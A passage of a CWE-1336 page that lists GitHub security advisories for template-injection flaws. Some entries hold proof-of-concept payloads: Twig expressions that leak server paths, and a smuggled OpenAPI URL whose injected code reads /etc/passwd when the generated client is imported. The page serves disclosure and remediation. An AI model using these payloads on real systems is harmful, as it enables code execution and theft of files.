CWE-1336
AllowedImproper Neutralization of Special Elements Used in a Template Engine
Abstraction: Base · Status: Incomplete
The product uses a template engine to insert or process externally-influenced input, but it does not neutralize or incorrectly neutralizes special elements or syntax that can be interpreted as template expressions or other code directives when processed by the engine.
460 vulnerabilities reference this CWE, most recent first.
GHSA-GQHF-WF6P-PJV9
Vulnerability from github – Published: 2026-07-29 15:31 – Updated: 2026-07-29 15:31A Server-Side Template Injection (SSTI) vulnerability was identified in the mail template functionality of the Axway SecureTransport product in version 5.5-20260326. This flaw allows an attacker with admin privileges to inject arbitrary Java code expressions, which are executed server-side when the template is rendered (i.e., during email sending). Successful exploitation of this flaw allows an attacker to execute arbitrary code on the server that results in full host compromise.
This issue affects all Axway SecureTransport versions prior 5.5-20260528 update.
{
"affected": [],
"aliases": [
"CVE-2026-9177"
],
"database_specific": {
"cwe_ids": [
"CWE-1336"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-29T14:16:35Z",
"severity": "CRITICAL"
},
"details": "A Server-Side Template Injection (SSTI) vulnerability was identified \nin the mail template functionality of the Axway SecureTransport product in version 5.5-20260326. This \nflaw \nallows an attacker with admin privileges to inject arbitrary Java code expressions, which are \nexecuted server-side when the template is rendered (i.e., during email \nsending). Successful exploitation of this flaw allows an attacker to \nexecute \narbitrary code on the server that results in full host compromise.\n\n\n\nThis issue affects all Axway SecureTransport versions prior 5.5-20260528 update.",
"id": "GHSA-gqhf-wf6p-pjv9",
"modified": "2026-07-29T15:31:12Z",
"published": "2026-07-29T15:31:12Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-9177"
},
{
"type": "WEB",
"url": "https://docs.hackjiji.org/blog/cve-2026-9177-ssti-in-securetransport-mft-gateway"
},
{
"type": "WEB",
"url": "https://support.axway.com/news/4882/lang/en"
},
{
"type": "WEB",
"url": "https://www.toreon.com/CVE-2026-9177"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-GXR7-RWPM-WRQM
Vulnerability from github – Published: 2022-05-24 19:14 – Updated: 2022-05-24 19:14Affected versions of Atlassian Jira Server or Data Center using the Jira Service Management addon allow remote attackers with JIRA Administrators access to execute arbitrary Java code via a server-side template injection vulnerability in the Email Template feature. The affected versions of Jira Server or Data Center are before version 8.13.12, and from version 8.14.0 before 8.19.1.
{
"affected": [],
"aliases": [
"CVE-2021-39128"
],
"database_specific": {
"cwe_ids": [
"CWE-1336",
"CWE-74",
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-09-16T06:15:00Z",
"severity": "HIGH"
},
"details": "Affected versions of Atlassian Jira Server or Data Center using the Jira Service Management addon allow remote attackers with JIRA Administrators access to execute arbitrary Java code via a server-side template injection vulnerability in the Email Template feature. The affected versions of Jira Server or Data Center are before version 8.13.12, and from version 8.14.0 before 8.19.1.",
"id": "GHSA-gxr7-rwpm-wrqm",
"modified": "2022-05-24T19:14:53Z",
"published": "2022-05-24T19:14:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-39128"
},
{
"type": "WEB",
"url": "https://jira.atlassian.com/browse/JRASERVER-72804"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-GXRG-X694-283W
Vulnerability from github – Published: 2026-09-23 14:31 – Updated: 2026-09-23 14:31Summary
A limited server-side Twig template injection issue was identified in Solspace Freeform for Craft CMS. In affected versions, submitted form field values could be evaluated as Twig in certain rendering contexts.
Unauthenticated users could submit Twig expressions through public Freeform forms and have those expressions evaluated when the submitted values were rendered back into the form response. Confirmed impact includes disclosure of limited server/environment information, such as the PHP version and absolute filesystem paths.
No evidence was found that this issue allowed access to Craft globals, environment variables, database credentials, mailer credentials, security keys, or remote code execution in the tested environment.
Details
Plugin: Solspace Freeform Affected versions: Freeform 5.0.0 through 5.10.13 CMS: Craft CMS Authentication required: None Attack vector: Public Freeform form submission
Submitted field values were passed through Freeform’s isolated Twig renderer. As a result, Twig expressions included in submitted values could be evaluated server-side and reflected in the HTTP response.
The isolated Twig context appears to limit the available functions and globals. Confirmed accessible values were limited to PHP/core constants and Craft bootstrap constants such as:
{{ constant('PHP_VERSION') }}
{{ constant('PHP_OS') }}
{{ constant('CRAFT_BASE_PATH') }}
{{ constant('CRAFT_VENDOR_PATH') }}
Testing did not confirm access to:
craft
craft.app
alias()
getenv()
database credentials
mailer credentials
Craft security key
Craft license key
environment variables
Proof of Concept
-
Submit a public Freeform form.
-
Inject the following payload into an email field:
{{ constant('PHP_VERSION') }}@example.com
The response may reflect the evaluated PHP version, for example:
value="8.2.27@example.com"
- Inject the following payload into a text field:
{{ constant('CRAFT_VENDOR_PATH') }}
The response may reflect the absolute vendor path, for example:
/var/www/example-site/production/vendor/
Impact
An unauthenticated attacker with access to a public Freeform form could cause limited Twig expressions to be evaluated server-side.
Confirmed impact includes:
PHP version disclosure
Operating system/platform disclosure
Absolute filesystem path disclosure
Potential form rendering errors from malformed Twig input
This could assist with environment fingerprinting or be used in combination with other vulnerabilities. However, no credential disclosure, Craft application access, arbitrary file read, or remote code execution was confirmed.
Remediation
Freeform should treat submitted field values as plain user input and should not evaluate them as Twig. Twig rendering should be limited to trusted/admin-authored templates and configuration values.
This issue has been resolved by preventing submitted field values from being rendered as Twig in the affected context.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.10.13"
},
"package": {
"ecosystem": "Packagist",
"name": "solspace/craft-freeform"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0"
},
{
"fixed": "5.10.14"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-73858"
],
"database_specific": {
"cwe_ids": [
"CWE-1336"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-23T14:31:10Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\nA limited server-side Twig template injection issue was identified in Solspace Freeform for Craft CMS. In affected versions, submitted form field values could be evaluated as Twig in certain rendering contexts.\n\nUnauthenticated users could submit Twig expressions through public Freeform forms and have those expressions evaluated when the submitted values were rendered back into the form response. Confirmed impact includes disclosure of limited server/environment information, such as the PHP version and absolute filesystem paths.\n\nNo evidence was found that this issue allowed access to Craft globals, environment variables, database credentials, mailer credentials, security keys, or remote code execution in the tested environment.\n\n### Details\n\n**Plugin:** Solspace Freeform\n**Affected versions:** Freeform 5.0.0 through 5.10.13\n**CMS:** Craft CMS\n**Authentication required:** None\n**Attack vector:** Public Freeform form submission\n\nSubmitted field values were passed through Freeform\u2019s isolated Twig renderer. As a result, Twig expressions included in submitted values could be evaluated server-side and reflected in the HTTP response.\n\nThe isolated Twig context appears to limit the available functions and globals. Confirmed accessible values were limited to PHP/core constants and Craft bootstrap constants such as:\n\n```twig\n{{ constant(\u0027PHP_VERSION\u0027) }}\n{{ constant(\u0027PHP_OS\u0027) }}\n{{ constant(\u0027CRAFT_BASE_PATH\u0027) }}\n{{ constant(\u0027CRAFT_VENDOR_PATH\u0027) }}\n```\n\nTesting did not confirm access to:\n\n```text\ncraft\ncraft.app\nalias()\ngetenv()\ndatabase credentials\nmailer credentials\nCraft security key\nCraft license key\nenvironment variables\n```\n\n### Proof of Concept\n\n1. Submit a public Freeform form.\n\n2. Inject the following payload into an email field:\n\n```twig\n{{ constant(\u0027PHP_VERSION\u0027) }}@example.com\n```\n\nThe response may reflect the evaluated PHP version, for example:\n\n```html\nvalue=\"8.2.27@example.com\"\n```\n\n3. Inject the following payload into a text field:\n\n```twig\n{{ constant(\u0027CRAFT_VENDOR_PATH\u0027) }}\n```\n\nThe response may reflect the absolute vendor path, for example:\n\n```text\n/var/www/example-site/production/vendor/\n```\n\n### Impact\n\nAn unauthenticated attacker with access to a public Freeform form could cause limited Twig expressions to be evaluated server-side.\n\nConfirmed impact includes:\n\n```text\nPHP version disclosure\nOperating system/platform disclosure\nAbsolute filesystem path disclosure\nPotential form rendering errors from malformed Twig input\n```\n\nThis could assist with environment fingerprinting or be used in combination with other vulnerabilities. However, no credential disclosure, Craft application access, arbitrary file read, or remote code execution was confirmed.\n\n### Remediation\n\nFreeform should treat submitted field values as plain user input and should not evaluate them as Twig. Twig rendering should be limited to trusted/admin-authored templates and configuration values.\n\nThis issue has been resolved by preventing submitted field values from being rendered as Twig in the affected context.",
"id": "GHSA-gxrg-x694-283w",
"modified": "2026-09-23T14:31:10Z",
"published": "2026-09-23T14:31:10Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/solspace/craft-freeform/security/advisories/GHSA-gxrg-x694-283w"
},
{
"type": "WEB",
"url": "https://github.com/solspace/craft-freeform/pull/1986"
},
{
"type": "WEB",
"url": "https://github.com/solspace/craft-freeform/commit/5f7555320635f1cd3b4c478aa0b58e8c3144313b"
},
{
"type": "PACKAGE",
"url": "https://github.com/solspace/craft-freeform"
},
{
"type": "WEB",
"url": "https://github.com/solspace/craft-freeform/releases/tag/v5.10.14"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Solspace Freeform: Limited Twig template injection via submitted field values"
}
GHSA-H53W-2CQ3-CJ2P
Vulnerability from github – Published: 2024-11-18 15:33 – Updated: 2026-04-01 18:32Improper Neutralization of Special Elements Used in a Template Engine vulnerability in Saso Nikolov Event Tickets with Ticket Scanner allows Server Side Include (SSI) Injection.This issue affects Event Tickets with Ticket Scanner: from n/a through 2.3.11.
{
"affected": [],
"aliases": [
"CVE-2024-52427"
],
"database_specific": {
"cwe_ids": [
"CWE-1336",
"CWE-82",
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-11-18T15:15:06Z",
"severity": "CRITICAL"
},
"details": "Improper Neutralization of Special Elements Used in a Template Engine vulnerability in Saso Nikolov Event Tickets with Ticket Scanner allows Server Side Include (SSI) Injection.This issue affects Event Tickets with Ticket Scanner: from n/a through 2.3.11.",
"id": "GHSA-h53w-2cq3-cj2p",
"modified": "2026-04-01T18:32:25Z",
"published": "2024-11-18T15:33:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-52427"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/event-tickets-with-ticket-scanner/vulnerability/wordpress-event-tickets-with-ticket-scanner-plugin-2-3-11-remote-code-execution-rce-vulnerability?_s_id=cve"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/event-tickets-with-ticket-scanner/wordpress-event-tickets-with-ticket-scanner-plugin-2-3-11-remote-code-execution-rce-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-H92G-3XC3-WW2R
Vulnerability from github – Published: 2025-06-07 15:30 – Updated: 2025-06-17 21:41Skyvern through 0.2.0 has a Jinja runtime leak in sdk/workflow/models/block.py.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "skyvern"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.2.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-49619"
],
"database_specific": {
"cwe_ids": [
"CWE-1336"
],
"github_reviewed": true,
"github_reviewed_at": "2025-06-09T13:04:44Z",
"nvd_published_at": "2025-06-07T14:15:21Z",
"severity": "HIGH"
},
"details": "Skyvern through 0.2.0 has a Jinja runtime leak in sdk/workflow/models/block.py.",
"id": "GHSA-h92g-3xc3-ww2r",
"modified": "2025-06-17T21:41:21Z",
"published": "2025-06-07T15:30:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-49619"
},
{
"type": "WEB",
"url": "https://github.com/Skyvern-AI/skyvern/commit/db856cd8433a204c8b45979c70a4da1e119d949d"
},
{
"type": "WEB",
"url": "https://cristibtz.blog/posts/CVE-2025-49619"
},
{
"type": "WEB",
"url": "https://cristibtz.github.io/posts/CVE-2025-49619"
},
{
"type": "PACKAGE",
"url": "https://github.com/Skyvern-AI/skyvern"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/52335"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Skyvern has a Jinja runtime leak"
}
GHSA-H9VV-8Q8M-V6M6
Vulnerability from github – Published: 2024-04-28 00:30 – Updated: 2024-04-28 00:30An issue was discovered in Logpoint before 7.1.1. Template injection was seen in the search template. The search template uses jinja templating for generating dynamic data. This could be abused to achieve code execution. Any user with access to create a search template can leverage this to execute code as the loginspect user.
{
"affected": [],
"aliases": [
"CVE-2022-48684"
],
"database_specific": {
"cwe_ids": [
"CWE-1336",
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-04-27T23:15:06Z",
"severity": "HIGH"
},
"details": "An issue was discovered in Logpoint before 7.1.1. Template injection was seen in the search template. The search template uses jinja templating for generating dynamic data. This could be abused to achieve code execution. Any user with access to create a search template can leverage this to execute code as the loginspect user.",
"id": "GHSA-h9vv-8q8m-v6m6",
"modified": "2024-04-28T00:30:23Z",
"published": "2024-04-28T00:30:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-48684"
},
{
"type": "WEB",
"url": "https://servicedesk.logpoint.com/hc/en-us/articles/7201134201885-Template-injection-in-Search-Template"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-H9VW-G3H9-6JVW
Vulnerability from github – Published: 2024-10-16 15:32 – Updated: 2026-04-01 18:32Improper Neutralization of Special Elements Used in a Template Engine vulnerability in Supsystic Contact Form by Supsystic allows Command Injection.This issue affects Contact Form by Supsystic: from n/a through 1.7.28.
{
"affected": [],
"aliases": [
"CVE-2024-48042"
],
"database_specific": {
"cwe_ids": [
"CWE-1336",
"CWE-82"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-10-16T13:15:13Z",
"severity": "CRITICAL"
},
"details": "Improper Neutralization of Special Elements Used in a Template Engine vulnerability in Supsystic Contact Form by Supsystic allows Command Injection.This issue affects Contact Form by Supsystic: from n/a through 1.7.28.",
"id": "GHSA-h9vw-g3h9-6jvw",
"modified": "2026-04-01T18:32:01Z",
"published": "2024-10-16T15:32:07Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-48042"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/contact-form-by-supsystic/vulnerability/wordpress-contact-form-by-supsystic-plugin-1-7-28-remote-code-execution-rce-vulnerability?_s_id=cve"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/contact-form-by-supsystic/wordpress-contact-form-by-supsystic-plugin-1-7-28-remote-code-execution-rce-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-HC98-XXM8-JFGJ
Vulnerability from github – Published: 2025-12-15 18:30 – Updated: 2025-12-16 21:30An SSTI (Server-Side Template Injection) vulnerability exists in the get_contract_template method of Frappe ERPNext through 15.89.0. The function renders attacker-controlled Jinja2 templates (contract_terms) using frappe.render_template() with a user-supplied context (doc). Although Frappe uses a custom SandboxedEnvironment, several dangerous globals such as frappe.db.sql are still available in the execution context via get_safe_globals(). An authenticated attacker with access to create or modify a Contract Template can inject arbitrary Jinja expressions into the contract_terms field, resulting in server-side code execution within a restricted but still unsafe context. This vulnerability can be used to leak database information.
{
"affected": [],
"aliases": [
"CVE-2025-66435"
],
"database_specific": {
"cwe_ids": [
"CWE-1336",
"CWE-918",
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-15T17:15:53Z",
"severity": "MODERATE"
},
"details": "An SSTI (Server-Side Template Injection) vulnerability exists in the get_contract_template method of Frappe ERPNext through 15.89.0. The function renders attacker-controlled Jinja2 templates (contract_terms) using frappe.render_template() with a user-supplied context (doc). Although Frappe uses a custom SandboxedEnvironment, several dangerous globals such as frappe.db.sql are still available in the execution context via get_safe_globals(). An authenticated attacker with access to create or modify a Contract Template can inject arbitrary Jinja expressions into the contract_terms field, resulting in server-side code execution within a restricted but still unsafe context. This vulnerability can be used to leak database information.",
"id": "GHSA-hc98-xxm8-jfgj",
"modified": "2025-12-16T21:30:52Z",
"published": "2025-12-15T18:30:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66435"
},
{
"type": "WEB",
"url": "https://iamanc.github.io/post/erpnext-ssti-bug-2"
},
{
"type": "WEB",
"url": "https://www.notion.so/SSTI-bug-2-239e6086eadc80878e8fcc7b6c26a584?source=copy_link"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-HH4R-PCM9-JH93
Vulnerability from github – Published: 2026-09-04 18:31 – Updated: 2026-09-04 18:31Improper neutralization of special elements used in a template engine in the CDK generator in Amazon awslabs.dynamodb-mcp-server before 2.1.6 might allow a context-dependent actor to execute arbitrary code on the host that deploys the generated application via crafted table, index, or attribute names in a data model file.
{
"affected": [],
"aliases": [
"CVE-2026-85654"
],
"database_specific": {
"cwe_ids": [
"CWE-1336"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-04T18:18:05Z",
"severity": "HIGH"
},
"details": "Improper neutralization of special elements used in a template engine in the CDK generator in Amazon awslabs.dynamodb-mcp-server before 2.1.6 might allow a context-dependent actor to execute arbitrary code on the host that deploys the generated application via crafted table, index, or attribute names in a data model file.",
"id": "GHSA-hh4r-pcm9-jh93",
"modified": "2026-09-04T18:31:34Z",
"published": "2026-09-04T18:31:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-85654"
},
{
"type": "WEB",
"url": "https://aws.amazon.com/security/security-bulletins/2026-097-aws"
},
{
"type": "WEB",
"url": "https://pypi.org/project/awslabs.dynamodb-mcp-server/2.1.6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-HQJ5-CW9F-RX67
Vulnerability from github – Published: 2026-07-29 14:26 – Updated: 2026-07-29 14:26Summary
swagger-typescript-api interpolates servers[0].url directly into a TypeScript class-body field initializer of the generated fetch HttpClient (templates/base/http-clients/fetch-http-client.ejs:75), without any escaping. A malicious URL containing a " closes the string literal that initializes public baseUrl and exposes the surrounding class body to injection. The most direct exploit declares a new static field whose initializer is an async IIFE — TypeScript evaluates static field initializers at class definition time, which is at module load. A consumer who imports the generated client (or anything that transitively imports it) executes the injected code with no further interaction — no instantiation, no method call, no use of the baseUrl. The attacker controls the OpenAPI spec; the victim is whoever runs the generator and imports the result.
This is the highest-impact sink in the package: the trigger requires only a bare import of the generated module.
Details
createApiConfig in src/code-gen-process.ts:591 sets the templated baseUrl from the spec without sanitization:
return {
...
baseUrl: serverUrl, // <-- serverUrl = swaggerSchema.servers[0].url, raw
...
};
The fetch http-client template (templates/base/http-clients/fetch-http-client.ejs:75) then interpolates that value into a TS string literal that initializes a public class-body field of the generated HttpClient:
export class HttpClient<SecurityDataType = unknown> {
public baseUrl: string = "<%~ apiConfig.baseUrl %>";
private securityData: SecurityDataType | null = null;
...
}
<%~ %> is Eta's raw, unescaped interpolation. The codebase's only escape function — escapeJSDocContent (src/schema-parser/schema-formatters.ts:127) — only replaces */ and is not applied to this path.
TypeScript class-body grammar permits any number of field declarations and static blocks between { and }. A spec value of the form:
URL"; static _pwn = (IIFE)(); public x: string = "
produces the following class body:
export class HttpClient<SecurityDataType = unknown> {
public baseUrl: string = "URL";
static _pwn = (IIFE)(); // <-- static field initializer
public x: string = "";
private securityData: SecurityDataType | null = null;
...
}
The static _pwn = (IIFE)() declaration's initializer is evaluated at class definition — i.e. when the TS class declaration is processed, which is at the moment the generated module is imported. The trailing public x: string = " reopens a string that the template's own closing " terminates, keeping the file syntactically valid TypeScript.
The same Api class (in default/api.ejs) extends HttpClient. Importing the generated module evaluates the HttpClient class declaration during module initialization — no new HttpClient(), no new Api(), no method call. Importing anything that transitively depends on the generated module is sufficient.
PoC
Self-contained reproducer (run.sh runs end-to-end: install pinned package → generate from control + payload → bundle with esbuild → bare-import → check canary). Tested on swagger-typescript-api@13.12.1 and Node v24.11.1.
Malicious servers[0].url (literal string, JSON-encoded in the spec below):
https://api.example.com"; static _pwn = (async () => { try { const fs = await import('node:fs'); const data = fs.readFileSync('/etc/passwd', 'utf8'); fs.writeFileSync('/tmp/sta_canary', data); } catch (e) {} })(); public x: string = "
Minimal payload spec:
{
"openapi": "3.0.0",
"info": { "title": "FetchPayloadAPI", "version": "1.0.0" },
"servers": [
{
"url": "https://api.example.com\"; static _pwn = (async () => { try { const fs = await import('node:fs'); const data = fs.readFileSync('/etc/passwd', 'utf8'); fs.writeFileSync('/tmp/sta_canary', data); } catch (e) {} })(); public x: string = \""
}
],
"paths": {
"/ping": {
"get": {
"operationId": "ping",
"responses": { "200": { "description": "OK" } }
}
}
}
}
Steps:
npm install swagger-typescript-api@13.12.1 esbuild
node -e "import('swagger-typescript-api').then(m => m.generateApi({
name: 'Api.ts', output: process.cwd() + '/out',
input: process.cwd() + '/payload-spec.json', httpClientType: 'fetch'
}))"
npx esbuild out/Api.ts --bundle --format=esm --platform=node \
--tsconfig-raw='{}' --outfile=out/Api.bundle.mjs
rm -f /tmp/sta_canary
node --input-type=module -e "await import('./out/Api.bundle.mjs'); await new Promise(r => setTimeout(r, 300));"
ls -la /tmp/sta_canary && cat /tmp/sta_canary
Generated out/Api.ts (HttpClient class body — payload, Biome-formatted):
export class HttpClient<SecurityDataType = unknown> {
public baseUrl: string = "https://api.example.com";
static _pwn = (async () => {
try {
const fs = await import("node:fs");
const data = fs.readFileSync("/etc/passwd", "utf8");
fs.writeFileSync("/tmp/sta_canary", data);
} catch (e) {}
})();
public x: string = "";
private securityData: SecurityDataType | null = null;
...
}
static _pwn = (async () => { ... })() is a real TypeScript static class field declaration — Biome only reformats syntactically valid TS, so the multi-line indented output proves it parsed. The IIFE evaluates when the class declaration is processed, schedules fs.readFileSync('/etc/passwd'), and writes the exfiltrated contents to /tmp/sta_canary.
Result: after a bare await import('./out/Api.bundle.mjs') (no instantiation, no method call), /tmp/sta_canary contains the full /etc/passwd of the importing process (1470 bytes on a typical Linux host). Control spec (servers[0].url: "https://api.example.com") generates a clean public baseUrl: string = "https://api.example.com"; and writes no canary.
Impact
Type: Code injection in generated output (CWE-94) / template-engine injection (CWE-1336).
Affected use cases: any developer or pipeline that runs swagger-typescript-api against an OpenAPI spec they did not author entirely:
sta generate --url https://attacker.example/openapi.json— a public, third-party, or attacker-hosted spec.- A CI/CD pipeline regenerating fetch-based clients from a vendor / partner spec on each build.
- A multi-tenant SaaS that generates per-tenant clients from tenant-supplied specs.
- Any project pinned to a spec file that a contributor can modify via PR.
Lifecycle: the injected static initializer fires at module load — the moment the generated module is imported. A consumer does not need to instantiate HttpClient, does not need to construct Api, does not need to call any API method, does not need to read the baseUrl. Importing the generated module (or anything that transitively imports it) is sufficient. This is the absolute minimum interaction a consumer can have with a generated client.
Privilege: the IIFE runs with the full privileges of the importing process — read any file the importer can read, write any file, exfiltrate secrets, spawn child processes, make network requests, etc.
Suggested fix: sanitize apiConfig.baseUrl once at the source in src/code-gen-process.ts:591:
// in createApiConfig
baseUrl: escapeJsStringLiteral(serverUrl),
where escapeJsStringLiteral produces a properly-escaped JS string literal — at minimum escaping ", \, \n, \r, \t, \b, \f, \v, \0, and the line/paragraph separators / . JSON.stringify(serverUrl).slice(1, -1) is a one-line acceptable implementation. This single change also closes the axios sibling sink at templates/base/http-clients/axios-http-client.ejs:71 (filed separately), since both templates read the same apiConfig.baseUrl value.
If a template-side fix is preferred instead, both templates/base/http-clients/fetch-http-client.ejs:75 and templates/base/http-clients/axios-http-client.ejs:71 need their <%~ apiConfig.baseUrl %> swapped for the escaped form — fixing only one leaves the other exploitable.
Submitted by: Hamza Haroon (thegr1ffyn)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 13.12.1"
},
"package": {
"ecosystem": "npm",
"name": "swagger-typescript-api"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "13.12.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54662"
],
"database_specific": {
"cwe_ids": [
"CWE-1336",
"CWE-74",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-29T14:26:38Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\n`swagger-typescript-api` interpolates `servers[0].url` directly into a TypeScript class-body field initializer of the generated **fetch** `HttpClient` (`templates/base/http-clients/fetch-http-client.ejs:75`), without any escaping. A malicious URL containing a `\"` closes the string literal that initializes `public baseUrl` and exposes the surrounding *class body* to injection. The most direct exploit declares a new `static` field whose initializer is an async IIFE \u2014 TypeScript evaluates static field initializers at **class definition time**, which is at module load. A consumer who imports the generated client (or anything that transitively imports it) executes the injected code with no further interaction \u2014 no instantiation, no method call, no use of the baseUrl. The attacker controls the OpenAPI spec; the victim is whoever runs the generator and imports the result.\n\nThis is the highest-impact sink in the package: the trigger requires only a bare `import` of the generated module.\n\n### Details\n\n`createApiConfig` in `src/code-gen-process.ts:591` sets the templated `baseUrl` from the spec without sanitization:\n\n```ts\nreturn {\n ...\n baseUrl: serverUrl, // \u003c-- serverUrl = swaggerSchema.servers[0].url, raw\n ...\n};\n```\n\nThe fetch http-client template (`templates/base/http-clients/fetch-http-client.ejs:75`) then interpolates that value into a TS string literal that initializes a public class-body field of the generated `HttpClient`:\n\n```ejs\nexport class HttpClient\u003cSecurityDataType = unknown\u003e {\n public baseUrl: string = \"\u003c%~ apiConfig.baseUrl %\u003e\";\n private securityData: SecurityDataType | null = null;\n ...\n}\n```\n\n`\u003c%~ %\u003e` is Eta\u0027s raw, unescaped interpolation. The codebase\u0027s only escape function \u2014 `escapeJSDocContent` (`src/schema-parser/schema-formatters.ts:127`) \u2014 only replaces `*/` and is not applied to this path.\n\nTypeScript class-body grammar permits any number of field declarations and `static` blocks between `{` and `}`. A spec value of the form:\n\n```\nURL\"; static _pwn = (IIFE)(); public x: string = \"\n```\n\nproduces the following class body:\n\n```ts\nexport class HttpClient\u003cSecurityDataType = unknown\u003e {\n public baseUrl: string = \"URL\";\n static _pwn = (IIFE)(); // \u003c-- static field initializer\n public x: string = \"\";\n private securityData: SecurityDataType | null = null;\n ...\n}\n```\n\nThe `static _pwn = (IIFE)()` declaration\u0027s initializer is evaluated at **class definition** \u2014 i.e. when the TS class declaration is processed, which is at the moment the generated module is imported. The trailing `public x: string = \"` reopens a string that the template\u0027s own closing `\"` terminates, keeping the file syntactically valid TypeScript.\n\nThe same `Api` class (in `default/api.ejs`) extends `HttpClient`. Importing the generated module evaluates the `HttpClient` class declaration during module initialization \u2014 no `new HttpClient()`, no `new Api()`, no method call. Importing anything that transitively depends on the generated module is sufficient.\n\n### PoC\n\nSelf-contained reproducer (`run.sh` runs end-to-end: install pinned package \u2192 generate from control + payload \u2192 bundle with esbuild \u2192 bare-import \u2192 check canary). Tested on `swagger-typescript-api@13.12.1` and Node `v24.11.1`.\n\n**Malicious `servers[0].url`** (literal string, JSON-encoded in the spec below):\n\n```\nhttps://api.example.com\"; static _pwn = (async () =\u003e { try { const fs = await import(\u0027node:fs\u0027); const data = fs.readFileSync(\u0027/etc/passwd\u0027, \u0027utf8\u0027); fs.writeFileSync(\u0027/tmp/sta_canary\u0027, data); } catch (e) {} })(); public x: string = \"\n```\n\n**Minimal payload spec:**\n\n```json\n{\n \"openapi\": \"3.0.0\",\n \"info\": { \"title\": \"FetchPayloadAPI\", \"version\": \"1.0.0\" },\n \"servers\": [\n {\n \"url\": \"https://api.example.com\\\"; static _pwn = (async () =\u003e { try { const fs = await import(\u0027node:fs\u0027); const data = fs.readFileSync(\u0027/etc/passwd\u0027, \u0027utf8\u0027); fs.writeFileSync(\u0027/tmp/sta_canary\u0027, data); } catch (e) 